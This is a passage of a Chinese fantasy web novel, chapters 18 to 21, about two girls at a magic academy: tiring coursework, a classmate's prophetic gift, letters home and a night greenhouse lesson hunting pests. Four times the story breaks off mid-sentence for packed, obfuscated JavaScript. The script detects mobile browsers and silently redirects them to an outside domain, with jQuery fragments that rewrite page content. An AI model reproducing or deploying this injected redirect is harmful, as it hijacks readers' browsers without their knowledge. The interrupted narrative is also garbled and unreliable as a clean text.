训练场里，玛莉安娜和安塔莉结束了一轮训练，正站在原地休息。 “瑞尔！你今天来接我下课吗！”玛莉安娜活泼地扑过来，撑着训练场的矮桩翻出来。 “啊，埃利斯学长好！”玛莉安娜轻巧地站定，顺手搂住格洛瑞亚的同时不忘跟旁边的埃利斯打招呼。 “小安娜训练地很不错哦，天赋超好的！”埃利斯的尾巴晃地更快乐了。 “你们训练完了？”格洛瑞亚抽出手帕，示意玛莉安娜先擦擦汗。 一身短款训练服的玛莉安娜看起来非常健康，还在生长的女孩在良好的锻炼和适合的营养供给下看起来筋骨结实，修长有力。 同样一身训练服的安塔莉更是比玛莉安娜还要高挑，整个人英姿飒爽。 不过安塔莉刚想走过来，就被旁边还在训练的同学叫住。 “说起来，你们今年要去哪里进行武器制作实践啊？”埃利斯看着手挽手准备离开的两个女孩，急忙跟上。 “什么实践？”玛莉安娜惊讶地猛回头，“我以为只是在学院里学？” “哼哼，不是哦！”埃利斯看起来非常快乐，语气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15383207|168489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是止不住的上扬，“这可是王都魔法学院，当然是理论教完，实践立刻跟上！” 埃利斯在空气里猛抓一把，手里出现了一把法杖。 “这就是我在实践里自制的法杖，非常适合自己的哦~”埃利斯全方位地展示了一下法杖，看起来还想施展一两个魔法来展示一下。 “我们也要自己做……做这些？”玛莉安娜忍不住想象自己手搓刀剑的情景，又看了看身边满脸写着冷静的格洛瑞亚，觉得事情觉得不太对了。 “那倒不是。”埃利斯伸出一根手指晃了晃，继续介绍，“你们会分两组去不一样的地方，当然这两组离得不会太远。主要是挑选原材料和判断自己适合的武器重量、长度之类的，会根据这些由更专业的制造者制作好送到学院交到每个人的手里。当然，如果真的非常合适的话，也可能会被扣下来自己制作一些特殊的部分。” “我们什么时候去？有什么考试吗？”三人干脆找了一块树荫坐下，埃利斯尽心尽力地开始给两人科普王都魔法学院的各种实践课程。 “大概还有一个月？也不排除你们会提前一点或者延后一些去的可能。会在你们去之前把所有的理论考试都考完，所以记得提前复习哦。”埃利斯翻了翻书包，耳朵失落地折了折。 格洛瑞亚默默掏出两份饼干，一份放在玛莉安娜手里，一份还抓在手里就被埃利斯悄悄盯住。 格洛瑞亚换了另一只手拿，埃利斯的视线就跟着一起移动到了另一边。 玛莉安娜看着格洛瑞亚把那份饼干拍进埃利斯手里，后者美滋滋地拨开外层的纸包开始吃。 “所以，你也会参与这次武器制作实践。”格洛瑞亚看着埃利斯把饼干放进嘴里嚼了第一口，突然开口。 玛莉安娜看着埃利斯飞快地吐掉了那口饼干。 玛莉安娜觉得格洛瑞亚这种偶尔出现的天然坏很不错。 “你怎么知道的！”埃利斯看起来非常懊恼于自己今天的出现，“我以为我能是个‘惊喜’！” 不，我觉得你会是个惊吓。玛莉安娜默默吐槽并把饼干嚼的异常香甜。 “因为你说你会留校当‘助教’。”格洛瑞亚不紧不慢地又翻出一份饼干打开，塞到埃利斯手里，“按照你的语言习惯来说，你已经告诉我很多信息了。” “好吧，看在饼干的份上。”埃利斯搂住自己的尾巴，开始奋力消灭两份饼干，同时还能口齿清晰地继续解释，“每年都会有高年级的人一起去，有些是去做武器维修的，有些是去重铸武器的，当然还有只是去帮忙带队的一部分人，只不过今年是我参与带队而已。” 玛莉安娜吃完自己手里的饼干，不着痕迹的凑到格洛瑞亚身边。 “这位学长看起来真是……容易养活。”玛莉安娜偷笑，觉得好像真的在养一只毛茸茸的小动物。 “好巧，我也这样觉得。”格洛瑞亚又掏出一份饼干递过去。 19. 第19章 被学业折磨 在格洛瑞亚固定好了和埃利斯一周一次的“互殴”、玛莉安娜习惯了和奥罗拉每天都要进行的“拉练”后，树叶已经开始变黄飘落了。 结束了一节漫长的环大陆历史课程后，玛莉安娜如同一滩水一样趴在了桌子上。 很快，教室里的人陆陆续续地离开，原本叽叽喳喳的声音逐渐淡去。很早就坐到了教室前排的格洛瑞亚回头看着还趴在桌子上的玛莉安娜，开始收拾已经写了一半的笔记。 “接下来没有课了，要不要先回寝室？”格洛瑞亚收拾好笔记和课本，拎着书包坐到了玛莉安娜旁边的座位上。 “……不，我要先歇一会儿。”玛莉安娜脸朝下，气若游丝般回复。 “你很累吗？”格洛瑞亚想了想玛莉安娜近期的训练量和每天几乎是争分夺秒的睡眠，忍不住站起来把玛莉安娜的头从桌子上抬起来。 说真的，格洛瑞亚怕玛莉安娜一个不注意把自己闷死在教室里。 毕竟现在的玛莉安娜看起来完全被各种课程折磨得有些过于痛苦了。 “是的……是的！瑞尔！”玛莉安娜也不挣扎，任由格洛瑞亚托住自己的脸颊，半分力气都不想用，“我可能要累死了。奥罗拉最近开始联合安塔莉对我进行魔鬼训练；伊诺尔老师也开始每日随机小考。我还是双倍的考试！” 玛莉安娜痛苦地哀嚎一声，干脆把脸更深地埋进格洛瑞亚的手心，不得不让格洛瑞亚的另一只手也暂时放开书包，转而托住玛莉安娜。 “甚至我还有其他的作业！”玛莉安娜仍然不抬头，她伸出手劈里啪啦地拍响桌面上的羊皮纸和课本，开始假哭。 “看看这些历史课程！看看这些魔法理论！还有这些该死的魔法药剂配比！”玛莉安娜说着说着开始真的有点想哭，于是努力地吸了吸鼻子。 格洛瑞亚难得的有些不知所措。 玛莉安娜一直是欢快的、明媚的，很少会有情绪如此低落的时候。 这份情绪一点、一点地通过玛莉安娜的“愿望”传递给了格洛瑞亚，这让格洛瑞亚此时看着这些书本也有些烦躁不安。 “我能为你做些什么吗？”格洛瑞亚捧着玛莉安娜的脸，轻声提问。 “你的情绪很不好，但是我觉得不是那些很有攻击性的情绪。”格洛瑞亚慢慢地、仔细地体会着玛莉安娜此时的情绪，“我觉得有点像是心脏吃了一颗酸葡萄。” “……噗。”玛莉安娜忍不住笑了一声。 “瑞尔的比喻好奇怪。”玛莉安娜抬起头，原本烦躁的情绪被格洛瑞亚的奇妙比喻安抚了一些，那些属于玛莉安娜的情绪逐渐淡去，格洛瑞亚很快就感觉不到了。 “我还好。也不需要瑞尔你做什么。”玛莉安娜揉了揉眼睛，看着桌子上的课本叹气，“我只是……我只是有点不知道该怎么办了……” “……给乌忒娜他们写封信怎么样？”格洛瑞亚看着把书翻得“哗哗”响的玛莉安娜，很突然的提议。 “啊？”玛莉安娜不翻书了。她惊讶的看着一脸平静的格洛瑞亚。 “你看起来需要安慰。”格洛瑞亚看起来很难去解释自己这份略显突兀的提议，于是这几句话被她拖得很长，吐字也很慢。 “我只是感觉，你不只是身体很疲惫。你在之前非常，非常喜欢训练，也喜欢这些课程。你在那些时候看起来很开心。但是现在你很累，需要休息或者改变。”格洛瑞亚比划了一下自己的眼下，玛莉安娜也不由自主地摸了摸自己的脸颊。 “你可以改变一下平常的行动。”格洛瑞亚看着玛莉安娜学着自己的动作，微微笑了一下，“你需要找一点不一样的方式去打破在重复太多次的活动里的无聊。” “我觉得和乌忒娜聊一聊会是个好选择。”格洛瑞亚认真建议道。 “……很有道理。”玛莉安娜若有所思的点点头，手上动作迅速地收拾好了书包。 “我们回寝室去写信？”格洛瑞亚看着把书本纸笔一股脑塞进书包的玛莉安娜。 “……不，我们先去食堂吃饭。”玛莉安娜轻快地说。 · “我还从来没有在这个时候来过食堂。”格洛瑞亚还在看食堂更新的晚餐菜谱，就听见玛莉安娜用梦幻的语气在旁边自言自语。 跟着玛莉安娜看过去，许多食物由魔法操控着慢悠悠地漂浮在空中，又慢悠悠地落在食堂几条巨大的餐桌上。 “你们也在这个时候来吃饭？”身后突然响起的声音差点让玛莉安娜跳起来，格洛瑞亚倒是冷静地抓住猛然转身的玛莉安娜，跟着一起转过了身。 “下午好，安塔莉。”格洛瑞亚看了看意想不到的另一个人，“下午好，菲莉尔。” “……安塔莉，菲莉尔，下午好。”玛莉安娜拍了拍胸口，觉得把自己快跳出去的心脏拍回了原位。 “下午好！”安塔莉脸上热情的笑容，衬得旁边把自己埋进斗篷里、只是点点头就当打过招呼的菲莉尔十分冷淡。 “我们别站在门口了，一起去吃饭吧！”安塔莉指了指格洛瑞亚和玛莉安娜身后逐渐被食物填满的长桌。 “你们很习惯这个时候来吃饭？”玛莉安娜看着轻车熟路绕过几份漂浮在空中的食物的两人，很是惊讶。 “因为菲莉尔在人太多的时候会不舒服。”安塔莉大大咧咧地拍了拍身边的菲莉尔，爽朗的笑了。 “好朋友就是要一起嘛。”安塔莉指了指格洛瑞亚和玛莉安娜，表示你们不也是这样吗。 “这倒是。”玛莉安娜认同的点点头，“我还是非常习惯和瑞尔一起活动的。” “话说回来，玛莉安娜。”安塔莉拽了拽菲莉尔的兜帽，没拽下来也就没再用力，转向还在努力挑选今日晚饭的玛莉安娜，“伊诺尔老师没和你透露一些关于今年的实践课程的事情吗？” 安塔莉挤挤眼睛，示意玛莉安娜如果有一些内部消息，可以一起分享一下。 “……没有诶。”玛莉安娜认真想了想，摇头。 “啊……伊诺尔老师真的是，去年就没透露一点消息，今年还是一点都不透露啊。”安塔莉扯过面前的盘子，表示还是吃饭吧。 “佐洛琳城。”旁边戴着兜帽的菲莉尔一直在安静的吃饭， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15383208|168489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安塔莉安静下来之后却突然开口。 细声细气的声音还是止不住有点颤抖，但是语气很确定。 “你怎么知道的？”玛莉安娜反应飞快，格洛瑞亚也忍不住对菲莉尔侧目。 “成功！”安塔莉倒是突然兴奋了起来。 格洛瑞亚把视线投向喜滋滋给菲莉尔的盘子里添加更多食物的安塔莉，觉得有什么奇妙的事情发生了。 格洛瑞亚捕捉到了一丝不属于常规魔法的波动。 “是菲莉尔的一种‘天赋’啦。”安塔莉挥挥手，示意格洛瑞亚和玛莉安娜不用那么惊讶。 “菲莉尔有一种很奇妙的天赋，类似‘预言’一样。但是这个天赋发动需要有人提问，也不保证一定能回答或者一定是正确的答案。” 安塔莉拍拍手，示意解释完毕，可以提问了。 “……”格洛瑞亚和玛莉安娜对视一眼，有些不知所措。 “你们都不保密的吗？这些事情是可以说的吗？”玛莉安娜终于找回了自己的声音，声音颤抖的和菲莉尔一样。 “没关系。”安塔莉抬手给自己的盘子里加了一些食物，“菲莉尔说你们是好人，可以信任。” 玛莉安娜看了看从坐下吃饭就一言不发的菲莉尔，又看了看开始埋头苦吃的安塔莉，颇为震惊。 “她们就，这么信任我们吗？”玛莉安娜转过头，茫然地看向格洛瑞亚。 玛莉安娜看到了一个异常严肃的格洛瑞亚。 “所以你不喜欢和人交流，也不喜欢人多的地方。”格洛瑞亚的视线让菲莉尔忍不住拢了拢斗篷，又拽了拽兜帽试图把自己隐藏的更好一些。 “你控制不住回答问题，是吗？” 格洛瑞亚几乎不是在提问，而是在确认。 玛莉安娜看着菲莉尔轻轻的点了点头。 玛莉安娜觉得自己知道了什么不得了的秘密，但是安塔莉倒是看起来非常自然，也不打算阻止格洛瑞亚的提问。 格洛瑞亚仔细回忆了一下刚刚感受到的魔力波动，还想问的时候却发现已经有不少学生走进食堂，有几个已经走到了近处坐下。 安塔莉也看见了附近的人，飞快地吃完了盘子里的食物，抓住菲莉尔向两人道别。 玛莉安娜愣愣地挥手，愣愣地看向还是一脸严肃的格洛瑞亚。 “我们……呃，怎么办？”玛莉安娜又转过头看向安塔莉和菲莉尔的背影，觉得自己更累了。 “就当不知道吧。”格洛瑞亚低头看着盘子里的食物，戳了戳，“反正也没什么好提问的。” “有道理。”玛莉安娜想了想，点头同意。 一顿晚饭，食堂里愈发热闹，格洛瑞亚和玛莉安娜倒是越吃越安静。 “我忘不掉怎么办？”玛莉安娜在快吃完晚餐的时候，突然苦着脸说。 “那就想想你要给乌忒娜写的信。”格洛瑞亚咽下最后一口食物，擦了擦嘴角。 “还有你的训练和作业。” “我决定讨厌你五分钟，我亲爱的格洛瑞亚。” 玛莉安娜咬牙切齿的说。 20. 第20章 慢慢长大吧 说干就干，玛莉安娜冲回寝室，铺好了足足三张羊皮纸准备写出一份足够表达自己情感的书信，当然，这封信一定会充斥着玛莉安娜对乌忒娜的想念和撒娇。 但是玛莉安娜在快要写完这封充满着“抱怨”的信的时候，“啪”的一声扔下了笔。 没打算回自己寝室的格洛瑞亚干脆坐在地毯上看书，此时终于从自己手里的大部头里探出了头。 “说起来，我是不是可以用这块石头联系妈妈来着？”玛莉安娜把藏在校服内的吊坠抓出来甩了甩，语气有些崩溃。 “是……吧？”格洛瑞亚难得有些不知所措，毕竟她也把这份特殊的联络方式忘的一干二净了。 没办法，学院里总是形影不离的两个人根本用不着这样联络，乌忒娜和斯顿艾斯两人也更习惯于传统的信件往来，没有主动联系过在学院认真学习的两人。 这很恰巧地验证了一份魔法大师的结论：当魔法要努力才能渗入到生活中时，说明人需要一个适应魔法不再是武器而是工具的过程。 格洛瑞亚安静的和玛莉安娜对视，直到玛莉安娜又一次痛苦地捂住脸。 “笃笃”两声，窗口突然被一只纸飞机敲了两下，打断了格洛瑞亚对玛莉安娜的注视。 纸飞机在敲了窗户之后就安静地悬停在窗外，淡淡的银光很明显地表示了它被施展了精妙的魔法。 格洛瑞亚看着坐在桌子前，看着自己写的信，明显懒洋洋不想动的玛莉安娜，从地毯上爬起来打开窗。 纸飞机灵活地从刚刚打开的缝隙中钻进来，又灵活地绕过格洛瑞亚伸出来想接住的手，直直地冲向了玛莉安娜。 “哇，应该是哪位老师给你的紧急信件？”格洛瑞亚看着干脆利落地冲进房间里把自己砸在玛莉安娜头上的纸飞机，反而觉得很有趣。 “……是伊诺尔老师的临时通知。”把纸飞机抓下来抻平整的玛莉安娜先扫了一眼信件落款。 格洛瑞亚看着玛莉安娜的眉毛越看信件皱得越紧，最后更是一脸恍惚地把自己再一次埋进了手臂和桌面的缝隙里试图闷死自己。 “玛莉安娜？”格洛瑞亚抓住纸飞机变回的信件，轻而易举地把它从玛莉安娜的手里拿了出来。 玛莉安娜伸出一只手，示意格洛瑞亚自己看。 伊诺尔老师的信件不长，就像玛莉安娜说的那样，更像是一份临时通知。 格洛瑞亚越看，眉毛挑得就越高。 玛莉安娜抬头的时候，就看见格洛瑞亚脸上的表情堪称最清晰的时候。 “伊诺尔老师居然要把课程调得更晚了。”格洛瑞亚看完信，随手甩了甩，信件就又变回纸飞机，开始在房间里自顾自地绕圈。 “但是也有好处，上课的时间缩短了不少。”玛莉安娜无奈地爬起来伸了个懒腰，从书包里翻出了课程表开始修改。 “话说……格洛瑞亚。”玛莉安娜打量着自己修改完的课程表，摸着下巴似乎想到了什么。 “给我你的课程表。”格洛瑞亚不明所以，但是身体很诚实地从书包里翻出了自己的课程表双手奉上。 玛莉安娜很快就看到了自己印象当中的课程安排，确认了什么一样，笑眯眯的抬头。 “瑞尔~”玛莉安娜笑得很甜，语气更甜，“瑞尔~你和我一起去上晚课吧~” 格洛瑞亚看着笑得甜美却无端显得分外危险的玛莉安娜，后背一凉。 “我看过了，你在那天下午只有一节课。”玛莉安娜两只手分别拎起两张课程表，几乎是扑到了格洛瑞亚面前，“而且你第二天上午的课也不是最早的一节！” 玛莉安娜漂亮的蓝眼睛里闪烁着恳求的光芒，整个人浑身上下都在表达着一句话：“求你了”。 格洛瑞亚看了看被自己再次施加了魔法、现在正在空中平稳飞行的纸飞机；又看了看完全不打算离开自己眼前的玛莉安娜。 “好吧，我会去的。”格洛瑞亚的紫色眼睛终于是对视上了玛莉安娜的蓝眼睛，点头答应。 “好耶！”玛莉安娜欢呼一声，扑上去抱住格洛瑞亚，开始和纸飞机一样在屋子里转圈。 “好了好了，要晕了。”格洛瑞亚一时间没反应过来，被玛莉安娜带着转了十几圈，赶紧喊停。 “是有点晕。”玛莉安娜终于停下，把挂在格洛瑞亚身上，努力眨眼试图摆脱眩晕感。 格洛瑞亚任由玛莉安娜挂在自己身上，直接把人拖到了床边的地毯上坐下。 “你想我从什么时候开始和你一起去上课？”格洛瑞亚从玛莉安娜手里拿回自己的课程表，准备给自己的课程表上也添加上刚刚更改的课程安排。 “下星期？”想了想格洛瑞亚的课程安排，玛莉安娜不确定地说。 “那就下星期。我会尽快把各种作业提前做完的。”格洛瑞亚快速地在自己的课程表上勾画完毕，拿出自己的作业单开始勾画。 “瑞尔，这样临时添加课程对你的时间安排会有很大影响吗？”一直在旁边看着的玛莉安娜忍不住发问，她稍微有一些不安。 玛莉安娜突然觉得自己是不是有些任性了。 任性地要求本来就多选了课程的格洛瑞亚再去和自己一起上课，还是一节临时改变时间到很晚的课程，对格洛瑞亚来说是不是有些过分了？ “嗯？”格洛瑞亚还在翻看自己的作业单，计算着几份作业的最晚的完成时间，一时间没反应过来玛莉安娜的问题究竟在问什么。 “不会有什么影响。”终于确认完时间，格洛瑞亚收好课程表和作业单，抬手把纸飞机召唤回来递给玛莉安娜。 “只是可能要牺牲一点画画的时间了。”格洛瑞亚僵硬的耸了耸肩，努力地开了一个玩笑。 “……不好笑。”玛莉安娜幽幽道。 “好吧。”格洛瑞亚点头，虚心接受。 玛莉安娜长长的叹了一口气。 “我是说，瑞尔你其实可以拒绝我的。”玛莉安娜抖了抖手里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15383209|168489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 属于自己的那张课程表，又抖了抖突然开始挣扎的纸飞机，示意格洛瑞亚想一想自己已经很满的课程表。 “我知道。但是我觉得我可以去。”格洛瑞亚努力勾了勾嘴角，拍了拍身边的地毯示意玛莉安娜再坐回来一些。 “而且，我想去。” 格洛瑞亚很认真，很认真地看着玛莉安娜。 “这份‘想去做什么’，是我发自内心的‘想’。” 格洛瑞亚勾起的嘴角从僵硬逐渐变得柔软，生硬的表情逐渐变得生动。 “我现在一想到这件事，觉得自己好像吃到了蜂蜜糖。” “我会记得每节课都给你带一块蜂蜜糖的。” 玛莉安娜同样认真的，看向格洛瑞亚。 · 玛莉安娜的三张信纸的信终于还是在学院规定的统一的时间里发出，在三天后送到了乌忒娜的手里。 “玛莉安娜她们的信？”斯顿艾斯摆好了早餐的面包和果汁，看着乌忒娜从信使的手里接过了一封颇有厚度的信。 “我还以为她们寄了个本子回来呢。”乌忒娜掂了掂，对这份沉甸甸的信件表达赞叹。 “我还是第一次见到玛莉安娜和格洛瑞亚写这么多，要不要吃完早餐再看？”斯顿艾斯举起了装满新鲜果汁的杯子，诚挚地邀请挚爱的妻子共进早餐。 乌忒娜笑容灿烂地接受了这份邀请。 吃过一顿温暖的早餐，斯顿艾斯开始收拾杯盘，乌忒娜转移到客厅，坐在柔软的扶手椅上，准备好好地、仔细地看一看女儿们的来信。 “说起来你可能都不会相信，这封信只是玛莉安娜写的！”乌忒娜在信封上只看到了玛莉安娜的名字，不敢相信地又看了看，提高声音对厨房里的斯顿艾斯甩了甩手里刚刚被拆开的信封。 “可能只是格洛瑞亚没落款？”斯顿艾斯擦干手里的盘子，头也不回地等在乌忒娜慢慢读信。 “嗯哼，看起来不是。”乌忒娜粗略地打量了一遍信纸上的字迹，开始读信给还在继续收拾厨房的斯顿艾斯听，“‘亲爱的爸爸、妈妈，展信佳。我今天经历了最累的一天。格洛瑞亚建议我给你们写信，聊一聊最近发生的事情……’” 乌忒娜渐渐读不下去了。 信里其实没说什么沉重的事情，只是玛莉安娜对学习和学院生活的一些介绍，字里行间有很多快乐的影子，但是乌忒娜看得出来，玛莉安娜在小心翼翼地表达自己的烦恼。 信里的很多表述偶尔也会拐到一个奇妙的想法上面去，以往看到这些时，乌忒娜会笑着和斯顿艾斯打趣玛莉安娜和格洛瑞亚的校园生活丰富多彩。 但是这次乌忒娜觉得很难过。 会有这些烦恼，说明玛莉安娜长大了。 成长是很难的，有些伴随着痛苦，而这份痛苦可能会持续一生。 乌忒娜不希望玛莉安娜长大。 “但是人总要长大的。” 斯顿艾斯抱住默默落泪的乌忒娜。 21. 第21章 同学们，上课了 乌忒娜的回信被交到玛莉安娜手里的那天，格洛瑞亚花了三天时间斟酌用词的信也终于寄了出去。 当然，距离玛莉安娜的晚间特别课程，也只有一天时间了。 “我们的作业还有多少？”玛莉安娜分外严肃地盯着书桌上的书本。 只是去寄信却意外拿回了一封信、刚刚回到宿舍的格洛瑞亚脱掉斗篷的手顿住了。 “当然是……”玛莉安娜转过身，原本严肃的神情猛然转换成灿烂的笑脸。 “全部完成了！！！”玛莉安娜兴奋地跳起来大喊一声，如果不是有魔法存在，很难说会不会打扰到隔壁宿舍的同学。 格洛瑞亚转身默默挂好自己的斗篷，却也忍不住勾起了嘴角。 说真的，低年级的作业不难，只是需要大量的阅读和不断的总结文字。而玛莉安娜非常不喜欢也不习惯这些文字作业。 所以在寝室里，格洛瑞亚总是能看到玛莉安娜沉默地写着作业，然后在沉默中爆发。 “我！不想！写！这些！总结！”在第六次翻开课本重新修改写错了的一条基础魔法理论的时候，玛莉安娜差点把手里的羽毛笔扔出去。 格洛瑞亚在玛莉安娜把羽毛笔放下的一瞬间扯走了玛莉安娜手里的那份作业，保护这份可怜的作业在偶尔会漏墨水的羽毛笔下幸免遇难。 换句话说，格洛瑞亚还保护了玛莉安娜的未来几天的好心情。至少玛莉安娜不会因为坏掉的羽毛笔再重新写一份作业。 此时的玛莉安娜更是喜气洋洋地接过来乌忒娜的回信，准备回到自己的寝室里再看。 “明天晚上就要去温室了，瑞尔记得穿好厚衣服和厚斗篷，千万要做好保暖。”离开格洛瑞亚的寝室前，玛莉安娜非常不放心地嘱咐。 “这是你这五天里第二十七次提醒我了。”格洛瑞亚跟着内心的想法扶住了自己的眼角，感受到了很奇妙的感觉，不是烦躁，是一种…… 格洛瑞亚说不上来。 这种全身会跟随着这句话暖起来，但是又不希望玛莉安娜重复第二十八次的微妙感。 格洛瑞亚有点喜欢这种感觉。 “我要重复第二十八次。我真的不怕冷。” 于是格洛瑞亚指了指还挂在墙上的那盏灯。 “何况还有你送我的灯。我会一直带着它的。” 玛莉安娜的回答是一个调皮的鬼脸。 · 王都魔法学院·第五号温室·夜间十点半 “好冷！”玛莉安娜瑟瑟发抖地搂住格洛瑞亚，四只小手围在那盏散发着暖意的灯上。 格洛瑞亚决定陪玛莉安娜来温室上课的那天晚上就仔细研究了一下构造，干脆在那盏灯上加了根短绳做成了提灯。 “还有多久上课？”格洛瑞亚看玛莉安娜冷到发抖，干脆把短绳解下来，整盏灯塞过去，再给玛莉安娜的斗篷上添加上保温的魔法。 “大概几分钟？伊诺尔老师说还有其他人要来。”玛莉安娜搂紧斗篷，呼出一口白气。 “你们好呀。”伊诺尔老师的声音出现在温室深处，出现的却是两道身影。 一高一矮两道身影从温室的微光中出现，高一些的那个是伊诺尔老师，矮一些的那一个…… 格洛瑞亚歪了歪头，玛莉安娜更是惊呼一声。 “菲莉尔！” 感谢那件有着特殊花纹、从来不会被摘掉的兜帽，只是一个照面，格洛瑞亚和玛莉安娜就能认出来来人都是谁。 “晚上好，两位。”伊诺尔老师没穿格洛瑞亚印象中常穿的那身软甲，和在场所有人一样穿上了厚斗篷，把自己包裹在了必要的温暖之中。 “老师，已经快到上课时间了，其他同学在什么地方等我们吗？”玛莉安娜凑上去，悄悄牵住伊诺尔老师的一只手。 “没有其他同学。今天晚上是小班授课。跟我走这边。”伊诺尔老师没太在意玛莉安娜的动作，视线打量过格洛瑞亚和玛莉安娜的斗篷确认了一下厚度，就带着三个女孩出发朝温室另一端走去。 “可是，这不是……”玛莉安娜还想继续问，被格洛瑞亚抓住另一只手轻轻晃了晃。 玛莉安娜困惑地吞掉自己的疑问，安静地跟着伊诺尔老师。 但是很快，玛莉安娜觉得有什么不对了。 玛莉安娜把格洛瑞亚拉近了一些，试图悄悄说点什么，她直觉现在觉得有什么地方不对。但是玛莉安娜说不出来哪里不对。 “这里。” 突然开口的是菲莉尔，凉丝丝的声音差点让玛莉安娜咬到自己的舌头。 伊诺尔老师同时停下，把玛莉安娜和格洛瑞亚往身后推了推。 菲莉尔没再说话，双手比出一个大概的大小，又指了指前面的一片空地，伊诺尔老师严肃的点点头，掏出一把匕首。 玛莉安娜还没反应过来，伊诺尔老师已经冲了出去，手起刀落。 “一只冰原木虫。”格洛瑞亚压低声音在玛莉安娜耳边介绍。 “对声音和震动非常敏感的一类木虫，习惯生活在寒冷的地方，食物是各种生长在冰原的魔药材料。攻击力不高，但是很难抓。”格洛瑞亚环视了一圈偌大的温室，点点头，“而且有一只就说明这里会有一群，这里恐怕有很多木虫生活了。” “没错。”伊诺尔老师收好匕首，带着菲莉尔走回来，微微一笑。 “上个星期我发现这座温室里不少草药都有被啃食的痕迹。”伊诺尔老师顺手指了一下旁边一棵低矮的白色灌木上的痕迹，示意格洛瑞亚和玛莉安娜去看，“就像这个。所以我准备了一下，分批次带你们见识一下这些害虫。” 说完，伊诺尔老师拿出两把匕首，分别递给玛莉安娜和菲莉尔。 “菲莉尔的任务是感知这些木虫的所在，就像刚才那样。”伊诺尔老师有条不紊的开始分配任务，“玛莉安娜的任务是杀掉或者抓住那些木虫，像我刚才做的一样。” “木虫攻击力不强，只是非常敏锐会逃跑，你们要尽可能的多抓一些，就当是考试的一部分了。” 伊诺尔老师看了看已经在试用匕首的玛莉安娜和菲莉尔，抬起手臂，用力一挥。 “开始！” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15383210|168489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玛莉安娜和菲莉尔对视一眼，菲莉尔指了指不远处的一颗高大的树木，两人慢慢走了过去。 “你不准备跟上去？”看着两人的动作和配合都有模有样，伊诺尔老师点点头，突然向站在原地的格洛瑞亚提问。 “玛莉安娜搞得定。”格洛瑞亚怀里抱着玛莉安娜塞回来的灯，不紧不慢地系好了短绳，提在手里。 “日常魔法研究社的作品。”伊诺尔老师分出一部分注意力，扫了格洛瑞亚手里的提灯一眼。 “它是玛莉安娜的作品。”格洛瑞亚敲了敲，让灯变成了更明亮一些的火光。 “看起来真不错。”伊诺尔老师一边赞美了玛莉安娜的想法和能力，一边迎接了玛莉安娜和菲莉尔满载而归。 “那么高的一棵树，会有那么多木虫！”玛莉安娜冲着格洛瑞亚比划了一下大概的数量，不出意外得到了格洛瑞亚的皱眉。 一旁的菲莉尔倒是很平静，看着伊诺尔老师慢慢数两人解决了多少只木虫。 “二十八只。我们继续找，还没到下课时间呢。”伊诺尔老师轻轻拍了拍手，原本还想和格洛瑞亚抱怨两句的玛莉安娜噤声。 “要我陪你一起吗？”在转移到另一个木虫聚集地的途中，格洛瑞亚把手里的提灯递过去。 “没事，木虫不难搞定。”玛莉安娜欣然接受了温暖的提灯，但是拒绝了格洛瑞亚更多的帮助。 “格洛瑞亚可以来帮我观察一下各种魔药材料的受损程度。”伊诺尔老师善解人意地在一旁出声，“有个好学生主动上课真的是帮了大忙了。” 见格洛瑞亚似乎想说什么，伊诺尔老师继续说了下去：“毕竟我看过你们的各种小考成绩，格洛瑞亚在各个学科的成绩都很不错。” 伊诺尔老师都发话了，格洛瑞亚也只能放弃想跟着玛莉安娜一起“杀虫”的想法，乖乖拿回提灯跟着伊诺尔老师看看各种珍稀或者非常珍惜的魔药材料。 “真是好天赋啊。”伊诺尔老师看着配合愈发默契的玛莉安娜和菲莉尔，轻声感慨。 对视上一旁格洛瑞亚偷偷投过来的眼神，伊诺尔老师摇摇头：“我只是在想下个月的实践地点，应该会给你们做出来很不错的武器。” “毕竟你们都很有天赋，也很努力。”伊诺尔老师示意格洛瑞亚去看已经开始行云流水地消灭冰原木虫的两人。 “这是好事。”伊诺尔老师继续说，好像在说给一旁的格洛瑞亚听，又好像是在说给自己听，“她们能保护好自己，也能保护好其他人，还能保护好更多的人。当然，能保护好自己就够了。” 